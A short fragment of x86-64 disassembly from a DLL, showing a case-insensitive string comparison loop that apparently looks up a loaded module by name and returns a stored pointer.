cmp r14, r11
je 0x180002658
mov rsi, r10
test r8b, r8b
je 0x180002670
cmp byte [rsi + 1], 0
lea rsi, [rsi + 1]
jne 0x1800025f0
test r9b, r9b
je 0x180002680
sub rsi, rcx
je 0x180002654
mov r15, qword [r14 + 0x60]
xor ebx, ebx
nop
movzx r13d, word [r15 + rbx*2]
lea edi, [r13 - 0x41]
lea ebp, [r13 + 0x20]
cmp di, 0x1a
cmovae ebp, r13d
movsx edi, byte [rcx + rbx]
lea r12d, [rdi - 0x41]
lea edx, [rdi + 0x20]
cmp r12b, 0x1a
cmovae edx, edi
sub ebp, edx
test r13d, r13d
je 0x180002650
test ebp, ebp
jne 0x180002650
add rbx, 1
cmp rsi, rbx
jne 0x180002610
jmp 0x180002654
test ebp, ebp
jne 0x1800025dc
mov rax, qword [r14 + 0x30]
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
jmp 0x180002670
jmp 0x180002680